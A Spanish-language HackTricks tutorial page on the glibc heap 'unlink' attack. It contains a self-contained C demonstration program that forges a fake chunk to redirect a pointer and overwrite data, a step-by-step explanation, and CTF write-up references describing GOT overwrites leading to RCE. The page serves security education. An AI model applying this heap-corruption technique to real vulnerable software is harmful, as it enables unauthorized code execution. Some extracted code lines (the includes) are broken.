8.7 KiB
Ataque Unlink
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información Básica
Cuando se descubrió este ataque, principalmente permitía un WWW (Write What Where), sin embargo, se agregaron algunas verificaciones haciendo que la nueva versión del ataque sea más interesante y más compleja y inútil.
Ejemplo de Código:
Código
```c #include #include #include #include// Altered from d778318b6a/assets/files/unlink_exploit.c
to make it work
struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };
int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];
// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
return 0; }
</details>
* El ataque no funciona si se utilizan tcaches (después de la versión 2.26)
### Objetivo
Este ataque permite **cambiar un puntero a un chunk para que apunte a 3 direcciones antes de sí mismo**. Si esta nueva ubicación (alrededores de donde se encontraba el puntero) tiene información interesante, como otras asignaciones controlables / pila..., es posible leer/sobrescribirlas para causar un daño mayor.
* Si este puntero estaba ubicado en la pila, debido a que ahora apunta 3 direcciones antes de sí mismo y el usuario potencialmente puede leerlo y modificarlo, será posible filtrar información sensible de la pila o incluso modificar la dirección de retorno (quizás) sin tocar el canary.
* En ejemplos de CTF, este puntero está ubicado en un array de punteros a otras asignaciones, por lo tanto, al hacerlo apuntar 3 direcciones antes y poder leerlo y escribirlo, es posible hacer que los otros punteros apunten a otras direcciones.\
Como potencialmente el usuario también puede leer/escribir las otras asignaciones, puede filtrar información o sobrescribir nuevas direcciones en ubicaciones arbitrarias (como en la GOT).
### Requisitos
* Algún control en una memoria (por ejemplo, pila) para crear un par de chunks dando valores a algunos de los atributos.
* Fuga de pila para establecer los punteros del chunk falso.
### Ataque
* Hay un par de chunks (chunk1 y chunk2)
* El atacante controla el contenido de chunk1 y los encabezados de chunk2.
* En chunk1, el atacante crea la estructura de un chunk falso:
* Para evitar protecciones, se asegura de que el campo `size` sea correcto para evitar el error: `corrupted size vs. prev_size while consolidating`
* y los campos `fd` y `bk` del chunk falso apuntan a donde se almacena el puntero de chunk1 en la con desplazamientos de -3 y -2 respectivamente, por lo que `fake_chunk->fd->bk` y `fake_chunk->bk->fd` apuntan a la posición en la memoria (pila) donde se encuentra la dirección real de chunk1:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* Los encabezados del chunk2 se modifican para indicar que el chunk anterior no se está utilizando y que el tamaño es el tamaño del chunk falso contenido.
* Cuando se libera el segundo chunk, entonces se desvincula este chunk falso sucediendo:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* Anteriormente se hizo que `fake_chunk->fd->bk` y `fake_chunk->fd->bk` apunten al mismo lugar (la ubicación en la pila donde se almacenaba `chunk1`, por lo que era una lista enlazada válida). Como **ambos apuntan a la misma ubicación**, solo el último (`fake_chunk->bk->fd = fake_chunk->fd`) tendrá **efecto**.
* Esto **sobrescribirá el puntero a chunk1 en la pila a la dirección (o bytes) almacenada 3 direcciones antes en la pila**.
* Por lo tanto, si un atacante pudiera controlar nuevamente el contenido de chunk1, podrá **escribir dentro de la pila** pudiendo potencialmente sobrescribir la dirección de retorno saltando el canary y modificar los valores y puntos de las variables locales. Incluso modificando nuevamente la dirección de chunk1 almacenada en la pila a una ubicación diferente donde si el atacante pudiera controlar nuevamente el contenido de chunk1 podrá escribir en cualquier lugar.
* Tenga en cuenta que esto fue posible porque las **direcciones se almacenan en la pila**. El riesgo y la explotación pueden depender de **dónde se almacenan las direcciones del chunk falso**.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## Referencias
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* Aunque sería extraño encontrar un ataque de desvinculación incluso en un CTF, aquí tienes algunos writeups donde se utilizó este ataque:
* Ejemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* En este ejemplo, en lugar de la pila hay un array de direcciones malloc'ed. Se realiza el ataque de desvinculación para poder asignar un chunk aquí, por lo tanto, pudiendo controlar los punteros del array de direcciones malloc'ed. Luego, hay otra funcionalidad que permite modificar el contenido de los chunks en estas direcciones, lo que permite apuntar direcciones a la GOT, modificar direcciones de funciones para obtener filtraciones de libc y RCE.
* Otro ejemplo de CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Al igual que en el ejemplo anterior, hay un array de direcciones de asignaciones. Es posible realizar un ataque de desvinculación para hacer que la dirección de la primera asignación apunte a algunas posiciones antes de comenzar el array y luego sobrescribir esta asignación en la nueva posición. Por lo tanto, es posible sobrescribir punteros de otras asignaciones para apuntar a la GOT de atoi, imprimirla para obtener una filtración de libc y luego sobrescribir atoi GOT con la dirección a un one gadget.